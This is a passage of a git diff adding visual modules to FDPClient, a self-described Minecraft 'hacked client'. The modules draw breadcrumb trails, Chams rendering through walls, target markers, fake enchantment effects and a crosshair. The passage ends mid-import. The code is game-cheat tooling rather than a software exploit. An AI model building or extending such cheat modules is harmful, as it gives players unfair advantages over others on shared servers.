GL11.glLineWidth(lineWidthValue.get().toFloat()) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glBegin(GL11.GL_LINE_STRIP) + } + "rect" -> { + GL11.glDisable(GL11.GL_CULL_FACE) + } + } + for (point in mutableList.reversed()) { + val alpha = if (fadeValue.get()) { + val pct = (point.time - fadeSec).toFloat() / fTime + if (pct < 0 || pct > 1) { + mutableList.remove(point) + continue + } + pct + } else { 1f } * colorAlpha + if (!typeValue.equals("Rise")) { + RenderUtils.glColor(point.color, alpha) + } + when(typeValue.get().lowercase()) { + "line" -> GL11.glVertex3d(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + "rect" -> { + if(!(lastPosX==114514.0 && lastPosY==114514.0 && lastPosZ==114514.0)) { + GL11.glBegin(GL11.GL_QUADS) + GL11.glVertex3d(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glVertex3d(lastPosX, lastPosY, lastPosZ) + GL11.glVertex3d(lastPosX, lastPosY + mc.thePlayer.height, lastPosZ) + GL11.glVertex3d(point.x - renderPosX, point.y - renderPosY + mc.thePlayer.height, point.z - renderPosZ) + GL11.glEnd() + } + lastPosX = point.x - renderPosX + lastPosY = point.y - renderPosY + lastPosZ = point.z - renderPosZ + } + "sphere" -> { + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(sphereScaleValue.get(), sphereScaleValue.get(), sphereScaleValue.get()) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + } + "rise" -> { + + val circleScale = sphereScaleValue.get() + RenderUtils.glColor(point.color, 38) + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(circleScale * 2.3f, circleScale * 2.3f, circleScale * 2.3f) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + + RenderUtils.glColor(point.color, 63) + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(circleScale * 1.4f, circleScale * 1.4f, circleScale * 1.4f) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + + RenderUtils.glColor(point.color, 153) + GL11.glPushMatrix() + GL11.glTranslated(point.x - renderPosX, point.y - renderPosY, point.z - renderPosZ) + GL11.glScalef(circleScale * 0.7f, circleScale * 0.7f, circleScale * 0.7f) + GL11.glCallList(sphereList) + GL11.glPopMatrix() + + } + } + } + when(typeValue.get().lowercase()) { + "line" -> { + GL11.glEnd() + GL11.glDisable(GL11.GL_LINE_SMOOTH) + } + "rect" -> { + GL11.glEnable(GL11.GL_CULL_FACE) + } + } + } + GL11.glColor4d(1.0, 1.0, 1.0, 1.0) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glPopMatrix() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + // clear points for entities not exist + points.forEach { (id, _) -> + if(mc.theWorld.getEntityByID(id) == null) { + points.remove(id) + } + } + // add new points + if(mc.thePlayer.ticksExisted % precisionValue.get() != 0) { + return // skip if not on tick + } + if(drawTargetsValue.get()) { + mc.theWorld.loadedEntityList.forEach { + if(EntityUtils.isSelected(it, true)) { + updatePoints(it as EntityLivingBase) + } + } + } + if(drawThePlayerValue.get()) { + updatePoints(mc.thePlayer) + } + } + + private fun updatePoints(entity: EntityLivingBase) { + (points[entity.entityId] ?: mutableListOf<BreadcrumbPoint>().also { points[entity.entityId] = it }) + .add(BreadcrumbPoint(entity.posX, entity.entityBoundingBox.minY, entity.posZ, System.currentTimeMillis(), color.rgb)) + } + + @EventTarget + fun onWorld(event: WorldEvent) { + points.clear() + } + + override fun onDisable() { + points.clear() + } + + class BreadcrumbPoint(val x: Double, val y: Double, val z: Double, val time: Long, val color: Int) +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/CameraModule.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/CameraModule.kt new file mode 100644 index 0000000..aff2f9c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/CameraModule.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue + +@ModuleInfo("CameraModule", category = ModuleCategory.VISUAL) +object CameraModule : Module() { + val cameraclip = BoolValue("CameraClip",false) + val nobob = BoolValue("NoBob",false) + val nofov = BoolValue("NoFov",false) + val nofovValue = FloatValue("FOV",1f,0f,1.5f).displayable { nofov.get() } + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (nobob.get()) mc.thePlayer.distanceWalkedModified = 0f + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Chams.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Chams.kt new file mode 100644 index 0000000..3a07e49 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Chams.kt @@ -0,0 +1,34 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue + +@ModuleInfo(name = "Chams", category = ModuleCategory.VISUAL) +object Chams : Module() { + + val targetsValue = BoolValue("Targets", true) + val chestsValue = BoolValue("Chests", true) + val itemsValue = BoolValue("Items", true) + + val localPlayerValue = BoolValue("LocalPlayer", true) + val legacyMode = BoolValue("Legacy-Mode", false) + val texturedValue = BoolValue("Textured", false).displayable { legacyMode.get() } + val colorModeValue = ListValue("Color", arrayOf("Custom", "Slowly", "Fade"), "Custom").displayable { legacyMode.get() } + val behindColorModeValue = ListValue("Behind-Color", arrayOf("Same", "Opposite", "Red"), "Red").displayable { legacyMode.get() } + val redValue = IntegerValue("Red", 0, 0, 255).displayable { legacyMode.get() && (colorModeValue.equals("Custom") || colorModeValue.equals("Fade")) } + val greenValue = IntegerValue("Green", 200, 0, 255).displayable { legacyMode.get() && (colorModeValue.equals("Custom") || colorModeValue.equals("Fade")) } + val blueValue = IntegerValue("Blue", 0, 0, 255).displayable { legacyMode.get() && (colorModeValue.equals("Custom") || colorModeValue.equals("Fade")) } + val alphaValue = IntegerValue("Alpha", 255, 0, 255).displayable { legacyMode.get() } + val saturationValue = FloatValue("Saturation", 1F, 0F, 1F).displayable { legacyMode.get() && colorModeValue.equals("Slowly") } + val brightnessValue = FloatValue("Brightness", 1F, 0F, 1F).displayable { legacyMode.get() && colorModeValue.equals("Slowly") } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ChinaHat.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ChinaHat.kt new file mode 100644 index 0000000..c6a76a8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ChinaHat.kt @@ -0,0 +1,92 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.client.HUD +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "ChinaHat", category = ModuleCategory.VISUAL) +object ChinaHat : Module() { + + private val heightValue = FloatValue("Height", 0.3f, 0.1f, 0.7f) + private val radiusValue = FloatValue("Radius", 0.7f, 0.3f, 1.5f) + private val yPosValue = FloatValue("YPos", 0f, -1f, 1f) + private val rotateSpeedValue = FloatValue("RotateSpeed", 2f, 0f, 5f) + private val drawThePlayerValue = BoolValue("DrawThePlayer", true) + private val onlyThirdPersonValue = BoolValue("OnlyThirdPerson", true).displayable { drawThePlayerValue.get() } + private val drawTargetsValue = BoolValue("DrawTargets", true) + private val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("G", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorAlphaValue = IntegerValue("Alpha", 200, 0, 255) + private val colorRainbowValue = BoolValue("Rainbow", false) + + @EventTarget + fun onRender3d(event: Render3DEvent) { + if(drawThePlayerValue.get() && !(onlyThirdPersonValue.get() && mc.gameSettings.thirdPersonView == 0)) { + drawChinaHatFor(mc.thePlayer) + } + if(drawTargetsValue.get()) { + mc.theWorld.loadedEntityList.forEach { + if(EntityUtils.isSelected(it, true)) { + drawChinaHatFor(it as EntityLivingBase) + } + } + } + } + + private fun drawChinaHatFor(entity: EntityLivingBase) { + GL11.glPushMatrix() + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(false) + GL11.glDisable(GL11.GL_CULL_FACE) + if(!colorRainbowValue.get()) { + GL11.glColor4f(colorRedValue.get() / 255f, colorGreenValue.get() / 255f, colorBlueValue.get() / 255f, colorAlphaValue.get() / 255f) + } + GL11.glTranslated(entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * mc.timer.renderPartialTicks - mc.renderManager.renderPosX, + entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * mc.timer.renderPartialTicks - mc.renderManager.renderPosY + entity.height + yPosValue.get(), + entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * mc.timer.renderPartialTicks - mc.renderManager.renderPosZ) + GL11.glRotatef((entity.ticksExisted + mc.timer.renderPartialTicks) * rotateSpeedValue.get(), 0f, 1f, 0f) + + GL11.glBegin(GL11.GL_TRIANGLE_FAN) + GL11.glVertex3d(0.0, heightValue.get().toDouble(), 0.0) + val radius = radiusValue.get().toDouble() + for(i in 0..360 step 5) { + if(colorRainbowValue.get()) { + RenderUtils.glColor(Color.getHSBColor(if (i <180) { HUD.rainbowStartValue.get() + (HUD.rainbowStopValue.get() - HUD.rainbowStartValue.get()) * (i / 180f) } else { HUD.rainbowStartValue.get() + (HUD.rainbowStopValue.get() - HUD.rainbowStartValue.get()) * (-(i-360) / 180f) }, 0.7f, 1.0f), colorAlphaValue.get() / 255f) + } + GL11.glVertex3d(cos(i.toDouble() * Math.PI / 180.0) * radius, 0.0, sin(i.toDouble() * Math.PI / 180.0) * radius) + } + GL11.glVertex3d(0.0, heightValue.get().toDouble(), 0.0) + GL11.glEnd() + + GL11.glEnable(GL11.GL_CULL_FACE) + GlStateManager.resetColor() + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(true) + GL11.glDisable(GL11.GL_BLEND) + GL11.glPopMatrix() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/CombatVisuals.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/CombatVisuals.kt new file mode 100644 index 0000000..33a25d7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/CombatVisuals.kt @@ -0,0 +1,274 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.combat.Criticals +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer.Companion.getColorIndex +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.LiquidSlowly +import net.ccbluex.liquidbounce.utils.render.ColorUtils.fade +import net.ccbluex.liquidbounce.utils.render.CombatRender.drawCrystal +import net.ccbluex.liquidbounce.utils.render.CombatRender.drawEntityBoxESP +import net.ccbluex.liquidbounce.utils.render.CombatRender.drawPlatformESP +import net.ccbluex.liquidbounce.utils.render.CombatRender.drawZavz +import net.ccbluex.liquidbounce.utils.render.CombatRender.drawjello +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils.drawEntityBox +import net.ccbluex.liquidbounce.utils.render.RenderUtils.drawPlatform +import net.minecraft.block.Block +import net.minecraft.client.audio.PositionedSoundRecord +import net.minecraft.enchantment.EnchantmentHelper +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.effect.EntityLightningBolt +import net.minecraft.init.Blocks +import net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity +import net.minecraft.potion.Potion +import net.minecraft.util.EnumParticleTypes +import net.minecraft.util.ResourceLocation +import java.awt.Color +import java.util.* + +@ModuleInfo("CombatVisuals", category = ModuleCategory.VISUAL) +object CombatVisuals : Module() { + + // Mark + private val colorModeValue = ListValue("Color", arrayOf("Custom", "Rainbow", "Sky", "LiquidSlowly", "Fade", "Mixer", "Health"), "Custom") + private val markValue = ListValue("MarkMode", arrayOf("None", "Box", "RoundBox", "Head", "Mark", "Sims","jello", "Zavz"), "Zavz") + private val saturationValue = FloatValue("Saturation", 1f, 0f, 1f) + private val brightnessValue = FloatValue("Brightness", 1f, 0f, 1f) + private val mixerSecondsValue = IntegerValue("Seconds", 2, 1, 10) + private val colorTeam = BoolValue("Team", false) + private val isMarkMode: Boolean + get() = markValue.get() != "None" + + val colorRedValue = IntegerValue("Mark-Red", 0, 0,255).displayable { isMarkMode } + val colorGreenValue = IntegerValue("Mark-Green", 160, 0,255).displayable { isMarkMode } + val colorBlueValue = IntegerValue("Mark-Blue", 255, 0,255).displayable { isMarkMode } + + private val alphaValue = IntegerValue("Alpha", 255, 0,255).displayable { isMarkMode && markValue.get() == "Zavz" } + + val colorRedTwoValue = IntegerValue("Mark-Red 2", 0, 0, 255).displayable { isMarkMode && markValue.get() == "Zavz" } + val colorGreenTwoValue = IntegerValue("Mark-Green 2", 160, 0,255).displayable { isMarkMode && markValue.get() == "Zavz" } + val colorBlueTwoValue = IntegerValue("Mark-Blue 2", 255, 0,255).displayable { isMarkMode && markValue.get() == "Zavz" } + + private val rainbow = BoolValue("Mark-RainBow", false).displayable { isMarkMode } + private val hurt = BoolValue("Mark-HurtTime", true).displayable { isMarkMode } + private val boxOutline = BoolValue("Mark-Outline", true).displayable { isMarkMode && markValue.get() == "RoundBox" } + + // fake sharp + private val fakeSharp = BoolValue("FakeSharp", true) + + // Sound + + private val particle = ListValue("Particle", + arrayOf("None", "Blood", "Lighting", "Fire", "Heart", "Water", "Smoke", "Magic", "Crits"), "Blood") + + private val amount = IntegerValue("ParticleAmount", 5, 1,20) { particle.get() != "None" } + + //Sound + private val sound = ListValue("Sound", arrayOf("None", "Hit", "Explode", "Orb", "Pop", "Splash", "Lightning"), "Pop") + + private val volume = FloatValue("Volume", 1f, 0.1f, 5f).displayable { sound.get() != "None" } + private val pitch = FloatValue("Pitch", 1f, 0.1f,5f).displayable { sound.get() != "None" } + + // variables + private val targetList = HashMap<EntityLivingBase, Long>() + private val combat = FDPClient.combatManager + var random = Random() + const val DOUBLE_PI = Math.PI * 2 + var start = 0.0 + + @EventTarget + fun onWorld(event: WorldEvent?) { + targetList.clear() + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + val color: Color = if (rainbow.get()) ColorUtils.rainbow() else Color( + colorRedValue.get(), + colorGreenValue.get(), + colorBlueValue.get(), + alphaValue.get() + ) + val renderManager = mc.renderManager + val entityLivingBase = combat.target ?: return + (entityLivingBase.lastTickPosX + (entityLivingBase.posX - entityLivingBase.lastTickPosX) * mc.timer.renderPartialTicks + - renderManager.renderPosX) + (entityLivingBase.lastTickPosY + (entityLivingBase.posY - entityLivingBase.lastTickPosY) * mc.timer.renderPartialTicks + - renderManager.renderPosY) + (entityLivingBase.lastTickPosZ + (entityLivingBase.posZ - entityLivingBase.lastTickPosZ) * mc.timer.renderPartialTicks + - renderManager.renderPosZ) + when (markValue.get().lowercase()) { + "box" -> drawEntityBoxESP( + entityLivingBase, + getColor(combat.target) + ) + + "roundbox" -> drawEntityBox( + entityLivingBase, + getColor(combat.target), + boxOutline.get() + ) + + "head" -> drawPlatformESP( + entityLivingBase, + getColor(combat.target) + ) + + "mark" -> drawPlatform( + entityLivingBase, + getColor(combat.target) + ) + + "sims" -> drawCrystal( + entityLivingBase, + getColor(combat.target).rgb, + event + ) + + "jello" -> { + drawjello( + getColor(combat.target) + ) + } + + "zavz" -> drawZavz( + entityLivingBase, + event, + dual = true, // or false based on your requirement + ) + } + } + fun getColor(ent: Entity?): Color { + if (ent is EntityLivingBase) { + if (colorModeValue.equals("Health")) return BlendUtils.getHealthColor( + ent.health, + ent.maxHealth + ) + if (colorTeam.get()) { + val chars = ent.displayName.formattedText.toCharArray() + var color = Int.MAX_VALUE + for (i in chars.indices) { + if (chars[i] != '§' || i + 1 >= chars.size) continue + val index = getColorIndex(chars[i + 1]) + if (index < 0 || index > 15) continue + color = ColorUtils.hexColors[index] + break + } + return Color(color) + } + } + return when (colorModeValue.get()) { + "Custom" -> Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + "Rainbow" -> Color(RenderUtils.getRainbowOpaque(mixerSecondsValue.get(), saturationValue.get(), brightnessValue.get(), 0)) + "Sky" -> RenderUtils.skyRainbow(0, saturationValue.get(), brightnessValue.get()) + "LiquidSlowly" -> LiquidSlowly(System.nanoTime(), 0, saturationValue.get(), brightnessValue.get()) + else -> fade(Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()), 0, 100) + } + } + + @EventTarget + fun onAttack(event: AttackEvent) { + val target = event.targetEntity as? EntityLivingBase ?: return + + repeat(amount.get()) { + doEffect(target) + } + + doSound() + attackEntity(target) + } + + @EventTarget + private fun attackEntity(entity: EntityLivingBase) { + val thePlayer = mc.thePlayer + + // Extra critical effects + repeat(3) { + // Critical Effect + if (thePlayer.fallDistance > 0F && !thePlayer.onGround && !thePlayer.isOnLadder && !thePlayer.isInWater && !thePlayer.isPotionActive( + Potion.blindness + ) && thePlayer.ridingEntity == null || Criticals.handleEvents() && Criticals.msTimer.hasTimePassed( + Criticals.delayValue.get().toLong() + ) && !thePlayer.isInWater && !thePlayer.isInLava && !thePlayer.isInWeb) { + thePlayer.onCriticalHit(entity) + } + + // Enchant Effect + if (EnchantmentHelper.getModifierForCreature(thePlayer.heldItem, + entity.creatureAttribute + ) > 0f || fakeSharp.get() + ) { + thePlayer.onEnchantmentCritical(entity) + } + } + } + + private fun doSound() { + val player = mc.thePlayer + + when (sound.get()) { + "Hit" -> player.playSound("random.bowhit", volume.get(), pitch.get()) + "Orb" -> player.playSound("random.orb", volume.get(), pitch.get()) + "Pop" -> player.playSound("random.pop", volume.get(), pitch.get()) + "Splash" -> player.playSound("random.splash", volume.get(), pitch.get()) + "Lightning" -> { + mc.soundHandler.playSound(PositionedSoundRecord.create(ResourceLocation("random.explode"), 1.0f)) + mc.soundHandler.playSound(PositionedSoundRecord.create(ResourceLocation("ambient.weather.thunder"), 1.0f)) + } + "Explode" -> player.playSound("random.explode", volume.get(), pitch.get()) + } + } + + private fun doEffect(target: EntityLivingBase) { + when (particle.get()) { + "Blood" -> spawnBloodParticle(EnumParticleTypes.BLOCK_CRACK, target) + "Crits" -> spawnEffectParticle(EnumParticleTypes.CRIT, target) + "Magic" -> spawnEffectParticle(EnumParticleTypes.CRIT_MAGIC, target) + "Lighting" -> spawnLightning(target) + "Smoke" -> spawnEffectParticle(EnumParticleTypes.SMOKE_NORMAL, target) + "Water" -> spawnEffectParticle(EnumParticleTypes.WATER_DROP, target) + "Heart" -> spawnEffectParticle(EnumParticleTypes.HEART, target) + "Fire" -> spawnEffectParticle(EnumParticleTypes.LAVA, target) + } + } + + private fun spawnBloodParticle(particleType: EnumParticleTypes, target: EntityLivingBase) { + mc.theWorld.spawnParticle(particleType, + target.posX, target.posY + target.height - 0.75, target.posZ, + 0.0, 0.0, 0.0, + Block.getStateId(Blocks.redstone_block.defaultState) + ) + } + + private fun spawnEffectParticle(particleType: EnumParticleTypes, target: EntityLivingBase) { + mc.effectRenderer.spawnEffectParticle(particleType.particleID, + target.posX, target.posY, target.posZ, + target.posX, target.posY, target.posZ + ) + } + + private fun spawnLightning(target: EntityLivingBase) { + mc.netHandler.handleSpawnGlobalEntity(S2CPacketSpawnGlobalEntity( + EntityLightningBolt(mc.theWorld, target.posX, target.posY, target.posZ) + )) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Crosshair.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Crosshair.kt new file mode 100644 index 0000000..63d1a6e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Crosshair.kt @@ -0,0 +1,100 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.GlStateManager +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ModuleInfo(name = "Crosshair", category = ModuleCategory.VISUAL) +object Crosshair : Module() { + // Color + private val colorModeValue = ListValue("Color", arrayOf("Custom", "Slowly", "Rainbow"), "Custom") + private val colorRedValue = IntegerValue("Red", 255, 0, 255).displayable { colorModeValue.equals("Custom") } + private val colorGreenValue = IntegerValue("Green", 255, 0, 255).displayable { colorModeValue.equals("Custom") } + private val colorBlueValue = IntegerValue("Blue", 255, 0, 255).displayable { colorModeValue.equals("Custom") } + private val colorAlphaValue = IntegerValue("Alpha", 255, 0, 255) + + // Rainbow thingy + private val saturationValue = FloatValue("Saturation", 1f, 0f, 1f).displayable { colorModeValue.equals("Slowly") } + private val brightnessValue = FloatValue("Brightness", 1f, 0f, 1f).displayable { colorModeValue.equals("Slowly") } + + // Size, width, hitmarker + private val widthValue = FloatValue("Width", 0.5f, 0.25f, 10f) + private val sizeValue = FloatValue("Length", 7f, 0.25f, 15f) + private val gapValue = FloatValue("Gap", 5f, 0.25f, 15f) + private val dynamicValue = BoolValue("Dynamic", true) + private val hitMarkerValue = BoolValue("HitMarker", true) + + @EventTarget + fun onRender2D(event: Render2DEvent) { + val sr = event.scaledResolution + val width = widthValue.get() + val size = sizeValue.get() + val gap = gapValue.get() + val isMoving = dynamicValue.get() && MovementUtils.isMoving() + GL11.glPushMatrix() + RenderUtils.drawBorderedRect(sr.scaledWidth / 2f - width, sr.scaledHeight / 2f - gap - size - if (isMoving) 2 else 0, sr.scaledWidth / 2f + 1.0f + width, sr.scaledHeight / 2f - gap - if (isMoving) 2 else 0, 0.5f, Color(0, 0, 0).rgb, crosshairColor.rgb) + RenderUtils.drawBorderedRect(sr.scaledWidth / 2f - width, sr.scaledHeight / 2f + gap + 1 + (if (isMoving) 2 else 0) - 0.15f, sr.scaledWidth / 2f + 1.0f + width, sr.scaledHeight / 2f + 1 + gap + size + (if (isMoving) 2 else 0) - 0.15f, 0.5f, Color(0, 0, 0).rgb, crosshairColor.rgb) + RenderUtils.drawBorderedRect(sr.scaledWidth / 2f - gap - size - (if (isMoving) 2 else 0) + 0.15f, sr.scaledHeight / 2f - width, sr.scaledWidth / 2f - gap - (if (isMoving) 2 else 0) + 0.15f, sr.scaledHeight / 2 + 1.0f + width, 0.5f, Color(0, 0, 0).rgb, crosshairColor.rgb) + RenderUtils.drawBorderedRect(sr.scaledWidth / 2f + 1 + gap + if (isMoving) 2 else 0, sr.scaledHeight / 2f - width, sr.scaledWidth / 2f + size + gap + 1.0f + if (isMoving) 2 else 0, sr.scaledHeight / 2 + 1.0f + width, 0.5f, Color(0, 0, 0).rgb, crosshairColor.rgb) + GL11.glPopMatrix() + GlStateManager.resetColor() + val target = FDPClient.combatManager.target/* ?: RaycastUtils.raycastEntity(Reach.hitReach.toDouble()) { + it is EntityLivingBase + } as EntityLivingBase? */ + if (hitMarkerValue.get() && target != null && target.hurtTime > 0) { + GL11.glPushMatrix() + GlStateManager.enableBlend() + GlStateManager.disableTexture2D() + GlStateManager.tryBlendFuncSeparate(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, GL11.GL_ONE, GL11.GL_ZERO) + GL11.glColor4f(1f, 1f, 1f, target.hurtTime.toFloat() / target.maxHurtTime.toFloat()) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glLineWidth(1f) + GL11.glBegin(3) + GL11.glVertex2f(sr.scaledWidth / 2f + gap, sr.scaledHeight / 2f + gap) + GL11.glVertex2f(sr.scaledWidth / 2f + gap + size, sr.scaledHeight / 2f + gap + size) + GL11.glEnd() + GL11.glBegin(3) + GL11.glVertex2f(sr.scaledWidth / 2f - gap, sr.scaledHeight / 2f - gap) + GL11.glVertex2f(sr.scaledWidth / 2f - gap - size, sr.scaledHeight / 2f - gap - size) + GL11.glEnd() + GL11.glBegin(3) + GL11.glVertex2f(sr.scaledWidth / 2f - gap, sr.scaledHeight / 2f + gap) + GL11.glVertex2f(sr.scaledWidth / 2f - gap - size, sr.scaledHeight / 2f + gap + size) + GL11.glEnd() + GL11.glBegin(3) + GL11.glVertex2f(sr.scaledWidth / 2f + gap, sr.scaledHeight / 2f - gap) + GL11.glVertex2f(sr.scaledWidth / 2f + gap + size, sr.scaledHeight / 2f - gap - size) + GL11.glEnd() + GlStateManager.enableTexture2D() + GlStateManager.disableBlend() + GL11.glPopMatrix() + } + } + + private val crosshairColor: Color + get() = + when (colorModeValue.get().lowercase()) { + "custom" -> Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), colorAlphaValue.get()) + "slowly" -> ColorUtils.reAlpha(ColorUtils.slowlyRainbow(System.nanoTime(), 0, saturationValue.get(), brightnessValue.get()), colorAlphaValue.get()) + "rainbow" -> ColorUtils.rainbowWithAlpha(colorAlphaValue.get()) + else -> Color.WHITE + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/DamageParticle.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/DamageParticle.kt new file mode 100644 index 0000000..bdce5c4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/DamageParticle.kt @@ -0,0 +1,127 @@ + /* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import 